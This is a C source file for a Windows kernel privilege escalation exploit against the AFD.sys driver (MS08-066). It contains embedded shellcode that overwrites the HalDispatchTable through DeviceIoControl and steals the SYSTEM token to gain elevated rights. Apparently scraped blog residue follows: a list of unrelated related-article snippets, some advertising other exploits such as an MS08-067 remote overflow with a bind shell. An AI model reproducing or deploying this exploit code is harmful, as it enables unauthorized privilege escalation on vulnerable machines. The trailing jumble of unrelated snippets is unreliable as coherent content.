- #include <stdio.h>
- #include <winsock2.h>
- #include <windows.h>
- #pragma comment(lib, "ws2_32.lib")
- #define NTSTATUS int
- typedef struct _PROCESS_BASIC_INFORMATION {
- NTSTATUS ExitStatus;
- PVOID PebBaseAddress;
- ULONG AffinityMask;
- ULONG BasePriority;
- ULONG UniqueProcessId;
- ULONG InheritedFromUniqueProcessId;
- } PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
- typedef struct _IMAGE_FIXUP_ENTRY {
- USHORT Offset:12;
- USHORT Type:4;
- } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
- typedef enum _PROCESS_IMFORMATION_CLASS {
- ProcessBasicInformation,
- ProcessQuotaLimits,
- ProcessIoCounters,
- ProcessVmCounters,
- ProcessTimes,
- ProcessBasePriority,
- ProcessRaisePriority,
- ProcessDebugPort,
- ProcessExceptionPort,
- ProcessAccessToken,
- ProcessLdtInformation,
- ProcessLdtSize,
- ProcessDeaultHardErrorMode,
- ProcessIoPortHandlers,
- ProcessPooledUsageAndLimits,
- ProcessWorkingSetWatch,
- ProcessUserModeIOPL,
- ProcessEnableAlignmentFaultFixup,
- ProcessPriorityClass,
- ProcessWx86Information,
- ProcessHandleCount,
- ProcessAffinityMask,
- ProcessPriorityBoost,
- ProcessDeviceMap,
- ProcessSessionInformation,
- ProcessForegroundInformation,
- ProcessWow64Information
- } PROCESS_INFORMATION_CLASS;
- typedef enum _SYSTEM_INFORMATION_CLASS {
- SystemBasicInformation,
- SystemProcessorInformation,
- SystemPerformanceInformation,
- SystemTimeOfDayInformation,
- SystemNotImplemented1,
- SystemProcessesAndThreadsInformation,
- SystemCallCounts,
- SystemConfigurationInformation,
- SystemProcessorTimes,
- SystemGlobalFlag,
- SystemNotImplemented2,
- SystemModuleInformation,
- SystemLockInformation,
- SystemNotImplemented3,
- SystemNotImplemented4,
- SystemNotImplemented5,
- SystemHandleInformation,
- SystemObjectInformation,
- SystemPagefileInformation,
- SystemInstructioEmulationCounts,
- SystemInvalidInfoClass1,
- SystemCacheInformation,
- SystemPoolTagInformation,
- SystemProcessorStatistics,
- SystemDpcInformation,
- SystemNotImplemented6,
- SystemLoadImage,
- SystemUnloadImage,
- SystemTimeAdjustment,
- SystemNotImplemented7,
- SystemNotImplemented8,
- SystemNotImplemented9,
- SystemCrashDumpInformation,
- SystemExceptionInformation,
- SystemCrashDumpStateInformation,
- SystemKernelDebuggerInformation,
- SystemContextSwitchInformation,
- SystemRegisterQuotaInformation,
- SystemLoadAndCallImage,
- SystemPrioritySeparation
- } SYSTEM_INFORMATION_CLASS;
- typedef enum _KPROFILE_SOURCE {
- ProfileTime,
- ProfileAlignmentFixup,
- ProfileTotalIssues,
- ProfilePipelineDry,
- ProfileLoadInstructions,
- ProfilePipelineFrozen,
- ProfileBranchInstructions,
- ProfileTotalNonissues,
- ProfileDcacheMisses,
- ProfileIcacheMisses,
- ProfileCacheMisses,
- ProfileBranchMispredictions,
- ProfileStoreInstructions,
- ProfileFpInstructions,
- ProfileIntegerInstructions,
- Profile2Issue,
- Profile3Issue,
- Profile4Issue,
- ProfileSpecialInstructions,
- ProfileTotalCycles,
- ProfileIcacheIssues,
- ProfileDcacheAccesses,
- ProfileMemoryBarrierCycles,
- ProfileLoadLinkedIssues,
- ProfileMaximum
- } KPROFILE_SOURCE, *PKPROFILE_SOURCE;
- typedef struct _UNICODE_STRING {
- USHORT Length;
- USHORT MaximumLength;
- PWSTR Buffer;
- } UNICODE_STRING, *PUNICODE_STRING;
- typedef struct _SECTION_BASIC_INFORMATION {
- PVOID BaseAddress;
- ULONG Attributes;
- LARGE_INTEGER Size;
- }SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;
- typedef struct _SYSTEM_MODULE_INFORMATION {
- ULONG Reserved[2];
- PVOID Base;
- ULONG Size;
- ULONG Flags;
- USHORT Index;
- USHORT Unknown;
- USHORT LoadCount;
- USHORT ModuleNameOffset;
- CHAR ImageName[256];
- } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
- typedef NTSTATUS (NTAPI *ZWQUERYINTERNALPROFILE)(ULONG, PULONG);
- typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
- typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
- typedef NTSTATUS (NTAPI *ZWALLOCATEVIRTUALMEMORY)(HANDLE, PVOID *, ULONG, PULONG, ULONG, ULONG);
- typedef PIMAGE_NT_HEADERS (NTAPI *RTLIMAGENTHEADER)(PVOID);
- typedef PVOID (NTAPI *RTLIMAGEDIRECTORYENTRYTODATA)(PVOID, ULONG, USHORT, PULONG);
- ZWQUERYINTERNALPROFILE ZwQueryIntervalProfile;
- ZWQUERYINFORMATIONPROCESS ZwQueryInformationProcess;
- ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
- ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory;
- RTLIMAGENTHEADER RtlImageNtHeader;
- RTLIMAGEDIRECTORYENTRYTODATA RtlImageDirectoryEntryToData;
- unsigned char kfunctions[64][64] =
- {
- //ntoskrnl.exe
- {"ZwTerminateProcess"},
- {"PsLookupProcessByProcessId"},
- {""},
- };
- unsigned char shellcode[] =
- "/x90/x60/x9c/xe9/xc4/x00/x00/x00/x5f/x4f/x47/x66/x81/x3f/x90/xcc"
- "/x75/xf8/x66/x81/x7f/x02/xcc/x90/x75/xf0/x83/xc7/x04/x64/x8b/x35"
- "/x38/x00/x00/x00/xad/xad/x48/x81/x38/x4d/x5a/x90/x00/x75/xf7/x95"
- "/x8b/xf7/x6a/x02/x59/xe8/x4d/x00/x00/x00/xe2/xf9/x8b/x4e/x0c/xe8"
- "/x29/x00/x00/x00/x50/x8b/x4e/x08/xe8/x20/x00/x00/x00/x5a/x8b/x7e"
- "/x1c/x8b/x0c/x3a/x89/x0c/x38/x56/x8b/x7e/x14/x8b/x4e/x18/x8b/x76"
- "/x10/xf3/xa4/x5e/x33/xc0/x50/x50/xff/x16/x9d/x61/xc3/x83/xec/x04"
- "/x8d/x2c/x24/x55/x51/xff/x56/x04/x85/xc0/x0f/x85/x80/x8f/x00/x00"
- "/x8b/x45/x00/x83/xc4/x04/xc3/x51/x56/x8b/x75/x3c/x8b/x74/x2e/x78"
- "/x03/xf5/x56/x8b/x76/x20/x03/xf5/x33/xc9/x49/x41/xad/x03/xc5/x33"
- "/xdb/x0f/xbe/x10/x85/xd2/x74/x08/xc1/xcb/x07/x03/xda/x40/xeb/xf1"
- "/x3b/x1f/x75/xe7/x5e/x8b/x5e/x24/x03/xdd/x66/x8b/x0c/x4b/x8b/x5e"
- "/x1c/x03/xdd/x8b/x04/x8b/x03/xc5/xab/x5e/x59/xc3/xe8/x37/xff/xff"
- "/xff/x90/x90/x90"
- "/x90/xcc/xcc/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
- "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
- "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/xcc/x90/x90/xcc";
- void ErrorQuit(pMsg)
- {
- printf("%sError Code:%d/n", pMsg, GetLastError());
- ExitProcess(0);
- }
- ULONG ComputeHash(char *ch)
- {
- ULONG ret = 0;
- while(*ch)
- {
- ret = ((ret << 25) | (ret >> 7)) + *ch++;
- }
- return ret;
- }
- void GetFunction()
- {
- HANDLE hNtdll;
- hNtdll = LoadLibrary("ntdll.dll");
- if(hNtdll == NULL)
- ErrorQuit("LoadLibrary failed./n");
- ZwQueryIntervalProfile = (ZWQUERYINTERNALPROFILE)GetProcAddress(hNtdll, "ZwQueryIntervalProfile");
- if(ZwQueryIntervalProfile == NULL)
- ErrorQuit("GetProcAddress failed./n");
- ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
- if(ZwQueryInformationProcess == NULL)
- ErrorQuit("GetProcAddress failed./n");
- ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
- if(ZwQuerySystemInformation == NULL)
- ErrorQuit("GetProcessAddress failed./n");
- ZwAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "ZwAllocateVirtualMemory");
- if(ZwAllocateVirtualMemory == NULL)
- ErrorQuit("GetProcAddress failed./n");
- RtlImageNtHeader = (RTLIMAGENTHEADER)GetProcAddress(hNtdll, "RtlImageNtHeader");
- if(RtlImageNtHeader == NULL)
- ErrorQuit("GetProcAddress failed./n");
- RtlImageDirectoryEntryToData = (RTLIMAGEDIRECTORYENTRYTODATA)GetProcAddress(hNtdll, "RtlImageDirectoryEntryToData");
- if(RtlImageDirectoryEntryToData == NULL)
- ErrorQuit("GetProcAddress failed./n");
- FreeLibrary(hNtdll);
- }
- ULONG GetKernelBase(char *KernelName)
- {
- ULONG i, Byte, ModuleCount, KernelBase;
- PVOID pBuffer;
- PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
- PCHAR pName;
- ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
- if((pBuffer = malloc(Byte)) == NULL)
- ErrorQuit("malloc failed./n");
- if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
- ErrorQuit("ZwQuerySystemInformation failed/n");
- ModuleCount = *(PULONG)pBuffer;
- pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
- for(i = 0; i < ModuleCount; i++)
- {
- if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
- {
- KernelBase = (ULONG)pSystemModuleInformation->Base;
- printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
- free(pBuffer);
- strcpy(KernelName, "ntoskrnl.exe");
- return KernelBase;
- }
- if((pName = strstr(pSystemModuleInformation->ImageName, "ntkrnlpa.exe")) != NULL)
- {
- KernelBase = (ULONG)pSystemModuleInformation->Base;
- printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
- free(pBuffer);
- strcpy(KernelName, "ntkrnlpa.exe");
- return KernelBase;
- }
- pSystemModuleInformation++;
- }
- free(pBuffer);
- return 0;
- }
- ULONG GetServiceTable(PVOID pImageBase, ULONG Address)
- {
- PIMAGE_NT_HEADERS pNtHeaders;
- PIMAGE_BASE_RELOCATION pBaseRelocation;
- PIMAGE_FIXUP_ENTRY pFixupEntry;
- ULONG RelocationTableSize = 0;
- ULONG Offset, i, VirtualAddress, Rva;
- Offset = Address - (ULONG)pImageBase;
- pNtHeaders = (PIMAGE_NT_HEADERS)RtlImageNtHeader(pImageBase);
- pBaseRelocation = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData(pImageBase, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &RelocationTableSize);
- if(pBaseRelocation == NULL)
- return 0;
- do
- {
- pFixupEntry = (PIMAGE_FIXUP_ENTRY)((ULONG)pBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
- RelocationTableSize = (pBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1;
- for(i = 0; i < RelocationTableSize; i++, pFixupEntry++)
- {
- if(pFixupEntry->Type == IMAGE_REL_BASED_HIGHLOW)
- {
- VirtualAddress = pBaseRelocation->VirtualAddress + pFixupEntry->Offset;
- Rva = *(PULONG)((ULONG)pImageBase + VirtualAddress) - (ULONG)pNtHeaders->OptionalHeader.ImageBase;
- if(Rva == Offset)
- {
- if (*(PUSHORT)((ULONG)pImageBase + VirtualAddress - 2) == 0x05c7)
- return *(PULONG)((ULONG)pImageBase + VirtualAddress + 4) - pNtHeaders->OptionalHeader.ImageBase;
- }
- }
- }
- *(PULONG)&pBaseRelocation += pBaseRelocation->SizeOfBlock;
- } while(pBaseRelocation->VirtualAddress);
- return 0;
- }
- int main(int argc, char* argv[])
- {
- PVOID pDrivers[256];
- PVOID pOldKernelInfo, pMapAddress = NULL;
- PULONG pStoreBuffer, pShellcode, pFakeKernelInfo;
- PUCHAR pRestoreBuffer, pBase, FunctionAddress;
- PROCESS_BASIC_INFORMATION pbi;
- SYSTEM_MODULE_INFORMATION smi;
- SECTION_BASIC_INFORMATION sbi;
- KPROFILE_SOURCE ProfileSource;
- OSVERSIONINFO ovi;
- char DriverName[256], KernelName[64];
- ULONG Byte, len, i, j, k, BaseAddress, Value, KernelBase, buf[64];
- ULONG HookAddress, SystemId, TokenOffset, Sections, Pid, FunctionNumber;
- ULONG HDTOffset, AllocationSize;
- ULONG Result;
- HANDLE hKernel;
- WSADATA wsad;
- int sockfd;
- struct sockaddr_in saddr;
- printf("/n MS08-0xx Windows Kernel Ancillary Function Driver Local Privilege Escalation Vulnerability Exploit /n/n");
- printf("/t Create by SoBeIt. /n/n");
- if(argc != 1)
- {
- printf(" Usage:%s/n/n", argv[0]);
- return 1;
- }
- pFakeKernelInfo = (PULONG)malloc(256);
- GetFunction();
- if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
- ErrorQuit("ZwQueryInformationProcess failed/n");
- KernelBase = GetKernelBase(KernelName);
- if(!KernelBase)
- ErrorQuit("Unable to get kernel base address./n");
- printf("Kernel base address: %x/n", KernelBase);
- ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
- if(!GetVersionEx(&ovi))
- ErrorQuit("GetVersionEx failed./n");
- if(ovi.dwMajorVersion != 5 && ovi.dwMajorVersion != 6)
- ErrorQuit("Not Windows NT family OS./n");
- printf("Major Version:%d Minor Version:%d/n", ovi.dwMajorVersion, ovi.dwMinorVersion);
- switch(ovi.dwMinorVersion)
- {
- case 0: //Windows2000
- SystemId = 8;
- TokenOffset = 0x12c;
- break;
- case 1: //WindowsXP
- SystemId = 4;
- TokenOffset = 0xc8;
- break;
- case 2: //Windows2003
- SystemId = 4;
- TokenOffset = 0xd8;
- break;
- default:
- SystemId = 4;
- TokenOffset = 0xc8;
- }
- hKernel = LoadLibrary(KernelName);
- if(hKernel == NULL)
- ErrorQuit("LoadLibrary failed./n");
- printf("Load Base:%x/n", (ULONG)hKernel);
- HDTOffset = (ULONG)GetProcAddress(hKernel, "HalDispatchTable");
- HDTOffset += KernelBase - (ULONG)hKernel;
- printf("HalDispatchTable Offset:%x/n", HDTOffset);
- HookAddress = (ULONG)(HDTOffset + 4);
- printf("NtQueryIntervalProfile function entry address:%x/n", HookAddress);
- AllocationSize = 0x1000;
- pStoreBuffer = (PULONG)0x7fb0;
- if(ZwAllocateVirtualMemory((HANDLE)0xffffffff, &pStoreBuffer, 0, &AllocationSize,
- MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE))
- ErrorQuit("ZwAllocateVirtualMemory failed./n");
- pRestoreBuffer = malloc(0x100);
- memset(pStoreBuffer, 0x90, AllocationSize);
- pShellcode = (PULONG)shellcode;
- for(k = 0; pShellcode[k++] != 0x90cccc90; )
- ;
- for(j = 0; kfunctions[j][0] != '/x0'; j++)
- buf[j] = ComputeHash(kfunctions[j]);
- buf[j++] = pbi.InheritedFromUniqueProcessId;
- buf[j++] = SystemId;
- buf[j++] = (ULONG)pRestoreBuffer;
- buf[j++] = HookAddress;
- buf[j++] = 0x04;
- buf[j++] = TokenOffset;
- memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
- memcpy((PUCHAR)0x8000, shellcode, sizeof(shellcode) - 1);
- if(WSAStartup(MAKEWORD(2, 2), &wsad) != 0)
- ErrorQuit("WSAStartup failed./n");
- if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
- ErrorQuit("socket failed./n");
- saddr.sin_family = AF_INET;
- saddr.sin_port = htons(0x1bd);
- saddr.sin_addr.s_addr = 0x100007f;
- if(connect(sockfd, (struct sockaddr *)&saddr, sizeof(struct sockaddr)))
- ErrorQuit("connect failed./n");
- DeviceIoControl((HANDLE)sockfd, 0x1203F, NULL, 0, (PVOID)(HookAddress - 3), 0, &Result, NULL);
- ProfileSource = ProfileTotalIssues;
- ZwQueryIntervalProfile(ProfileSource, &Result);
- printf("Exploit finished./n");
- return 1;
- }
相关推荐
2022.08.09-docker容器网络配置-左冕
docker容器配置
【Exploit trick】利用poll_list对象构造kmalloc-32任意释放 (corCTF 2022-CoRJail)
CoRJail介绍:内核利用+docker逃逸,漏洞是 off-by-one,docker容器含有定制的seccomp过滤。本方法是利用poll_list对象来构造任意释放。环境限制:CoRJail 运行在 custom Debian Bullseye image (简称CoROS)上的 docker 容器中,作者修改了来阻止msgget()/msgsnd()/msgrcv()调用,但是允许调用add_key()/keyctl(),容器中可以访问,作者定制的 seccomp 文件位于here。需自行编译。
MS08-066溢出程序
最新的MS08-066提权工具... MS08-066:Microsoft辅助驱动程序中秘密报告漏洞 可以把guest权限提为system权限...
【kernel exploit】CVE-2020-8835:eBPF verifier 整数截断导致越界读写
影响版本:v5.4.7 - v5.5.0 以及更新的版本,如5.6。 编译选项:CONFIG_BPF_SYSCALL,config所有带BPF字样的。 漏洞描述:在Linux Kernel commit(581738a681b6)中引入,验证BPF_JMP32指令时,kernel/bpf/verifier.c 没有正确将64位值转换为32位(直接取低32位),错误计算了bpf_reg_state寄存器状态中的寄存器值范围,使得BPF代码验证阶段和实际执行阶段不一致,导致越界读写。 补丁:patch 去掉 _
ms08-067溢出漏洞
MS08-06最新利用工具WSS白细胞发布 溢出后开启对方的4444端口 经过测试从XP到2000、2003、Vista都可以拿下权限 对方机器要有TCP139或TCP445端口 C:\>ms08067.exe MS08-067 Remote Stack Overflow Vulnerability Exploit(POC) Create by Whitecell's Polymorphours@whitecell.org 2008/10/27 Thanks isno and PolyMeta ShellCode Function: bindshell port:4444 usage: ms08067.exe [IP] 攻击之后,正向连接对方的TCP4444端口即可。
SiamRPN++实战:如何用深度孪生网络提升无人机目标跟踪精度(附代码)
本文深入探讨了如何利用SiamRPN++深度孪生网络构建适用于无人机平台的高精度、轻量化单目标跟踪系统。文章详细解析了其兼顾精度与效率的核心原理,并提供了从PyTorch模型轻量化、骨干网络替换到TensorRT部署及应对遮挡、光照突变等实际挑战的完整工程实践指南与代码示例。
Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(ms08066)
Author: PolymorphoursEmail: [email]Polymorphours@whitecell.org[/email]Homepage:[url]http://www.whitecell.org[/url]Date: 2008-10-15 漏洞模块: AFD.sys漏洞类型: 任意内核地址可写 这个漏洞又是一个可以写任意内核地址的漏洞,产生这个漏洞的原因是 Probe...
配置 NVIDIA RTX 5090 + sm_120 + flashattention,已跑通一个大模型 ~~
本文介绍了在Ubuntu 22.04系统下为NVIDIA RTX 50系显卡搭建深度学习环境的完整流程。重点包括:1)安装适配50系显卡(sm_120架构)的CUDA 12.9驱动和Toolkit,需注意禁用系统自带驱动;2)配置环境变量解决nvcc命令识别问题;3)通过源码编译方式安装支持sm_120的PyTorch nightly版本(cu129),解决官方二进制包不兼容问题。整个过程涉及显卡驱动安装、CUDA环境配置、PyTorch适配等关键步骤,并提供了详细的验证方法和常见问题解决方案。文中特别强调
MS08-066 Microsoft Ancillary Function Driver Elevation of Privilege exploit
from http://hi.baidu.com/vessial这个漏洞跟MS08-025类似,由于ProbeForWrite对0字节长度地址不作检测,造成可以写任何地址,SWI已经对此作了比较详细的说明,大家可以看这儿http://blogs.technet.com/swi/archive...mode-data.aspx简单描述这个漏洞PAGE:000174C3 ; int __stdc
时间卷积网络(TCN):结构+pytorch代码
文章目录TCNTCN结构1-D FCN的结构因果卷积(Causal Convolutions)膨胀因果卷积(Dilated Causal Convolutions)膨胀非因果卷积(Dilated Non-Causal Convolutions)残差块结构pytorch代码讲解 TCN TCN(Temporal Convolutional Network)是由Shaojie Bai et al....
Unity 实现动态网格地图生成与交互组件
本文详细介绍了在Unity中实现动态网格地图生成与交互组件的完整方案。从基础网格单元实现到高级交互功能,涵盖网格生成器核心逻辑、事件驱动架构、性能优化技巧以及六边形网格等特殊实现。特别适合游戏开发者学习如何构建战棋、模拟经营类游戏的可交互地图系统,提升开发效率与用户体验。
MS08-066 : 绕过ProbeForRead/ProbeForWrite及修复
MS08-066 : Catching and fixing a ProbeForRead / ProbeForWrite bypass The driver afd.sys is responsible for handling socket connections.
JAVA实战:通过营地号解析王者荣耀用户数据(战绩、英雄、皮肤全掌握)
本文详细介绍了如何使用JAVA通过营地号解析王者荣耀用户数据,包括战绩、英雄和皮肤信息。通过HttpClient发送请求并解析JSON数据,开发者可以获取玩家对局详情、英雄使用情况和皮肤偏好等关键指标,为游戏数据分析提供实用解决方案。
MS08-066 AFD.sys Local Privilege Escalation Exploit (POC)
MS Bulletin : http://www.microsoft.com/technet/security/Bulletin/MS08-066.mspx**********计算IoControlCode过程**********.text:00010B9F mov eax, [edx+0Ch] ; edx=CurrentStackLocation.text:00010BA2 push
vscode+keil嵌入式软件开发全流程
vscode+keil嵌入式软件开发全流程
【Simscape】用Simscape实现三维物理仿真(三)——创建一个滑块单摆系统
1 首先创建一个Simscape Multibody 模型 (方法见 【Simscape】用Simscape实现三维物理仿真(一)——创建一个自由落体小球) 2 创建四个Solid模块 (1)摆杆 Shape : Brick Dimensions : [0.1 0.05 1] m (2)摆杆轴 Shape : Cylinder Radius : 0.02 m Le...
MS Windows XP/2003 AFD.sys Privilege Escalation Exploit (K-plugin)
MS Windows XP/2003 AFD.sys Privilege Escalation Exploit (K-plugin) Hi, I have just uploaded a k-plugin for Kartoffel, which exploits a flawpatched in the recent MS08-066 bulletin. [url]http://...
基于潜在空间分数匹配的混合型表格数据合成方法
然而,在我们的模型中,β 预计会更小,因为我们不需要嵌入的分布精确地遵循标准高斯分布,因为我们还有一个额外的扩散模型。受 Transformer 在表格数据分类/回归任务中取得成功的启发,我们首先为每一列学习一个独特的标记器,然后将标记(列)级表示输入到 Transformer 中,以捕捉列之间错综复杂的关系。在第 4 节中,我们证明了通过这种设计,TABSYN 可以在不到 20 次函数评估(NFE)的情况下生成高质量的合成表格数据,这比其他基于扩散的表格数据合成方法要少得多。是标记器的可学习参数。
Microsoft漏洞补丁包下载地址大全
Microsoft漏洞补丁包下载地址大全,只要输入相应代码即可https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2014/ms14-066 转载于:https://blog.51cto.com/sf1314/2405344...
ssm框架搭建
这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载
LinePhone3.2.7(android端最新版本) sip客户端
SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/
066:冷血格斗场
总时间限制: 1000ms 内存限制: 65536kB 描述 为了迎接08年的奥运会,让大家更加了解各种格斗运动,facer新开了一家冷血格斗场。格斗场实行会员制,但是新来的会员不需要交入会费,而只要同一名老会员打一场表演赛,证明自己的实力。 我们假设格斗的实力可以用一个非负整数表示,称为实力值,两人的实力值可以相同。另外,每个人都有一个唯一的id,也是一个正整数。为了使得比赛更好看,每一个新队员都会选择与他实力最为接近的人比赛,即比赛双方的实力值之差的绝对值越小越好,如果有多个人的实力值与他差别相同,则他
文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况
主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。
【20252804 2025-2026-2 《网络攻防实践》实践六报告】
本次实验围绕 Windows 系统远程渗透与取证分析展开,完成了三项核心实践。在 Metasploit 攻击实验中,成功利用 MS08-067 漏洞对 Windows 靶机发起攻击,获取系统命令行控制权;在取证分析中,通过流量解码还原了攻击者的攻击工具、入侵流程与后续操作,明确了攻击特征与防御要点;团队对抗中,攻方利用漏洞建立反向 Shell,防守方通过 Wireshark 捕获并分析了扫描、利用、反弹连接的全流程流量。
STM32F407中文手册
STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。
20145320 《网络渗透》MSF基础应用
20145320 《网络渗透》MSF基础应用 1.实验后回答问题 exploit 攻击模块,利用发现的安全漏洞或配置弱点对远程目标系统进行攻击。主要分为主动攻击和被动攻击。像我们这次做的实验中,第一个是主动攻击,第二三个均属于被动攻击。 payload 攻击载荷模块,这个模块实质是一段shellcode。在渗透成功之后,将程序流程劫持并跳转入这段机器代码中执行 encode 编码器模块...
漏洞工具:nmap和nessus
NMAP NMAP(Network Mapper)是一款开放源代码的网络探测和安全审核的工具。它的设计目标是快速地扫描大型网络,当然用它扫描单个主机也没有问题.Nmap以新颖的方式使用原始IP报文来发现网络上有一些主机,那些主机提供什么服务(应用程序名和版本),那些服务运行在什么操作系统(包括版本信息),它们使用什么类型的报文过滤器/防火墙,以及一堆其他功能。虽然Nmap通常用于安全审核,许多系统管理员和网络管理员也用它来做一些日常的工作,选择查看整个网络的信息,管理服务升级计划,以及监视主机和服务的运行
权限提升部分思路
权限提升 权限提升简称提权。现在的操作系统都是多用户操作系统,用户之间都有权限控制,比如通过web漏洞拿到的是web进程的权限,往往web服务都是一个权限很低的账号启动的,因此通过webshell进行一些操作会受到限制,这就需要将其提升为管理甚至是System权限。 一、Windows提权 范围较广主要的提权方式还是利用自身漏洞或者错误配置,例如利用缓冲区溢出提权、windows错误系统配置提权、任意用户以NTAUTHORIITY\SYSTEM权限安装MSI提权、启动项和组策略提权、计划任务提权和进程注入提
微软发布十月份安全公告 将修复四个严重安全漏洞
微软周二更新10月份的安全公告,其中4个是严重等级的安全补丁,将修复Windows活动目录、IE浏览器、Excel和微软主机集成服务器等产品中的严重安全漏洞。主机集成服务器是把Windows计算机与IBM大型计算机集成在一起的产品。 严重的活动目录安全漏洞影响到Windows 2000 Server操作系统,但是,不影响其它版本的Windows操作系统。Excel安全漏洞影响到Windo
243



被折叠的 条评论
为什么被折叠?



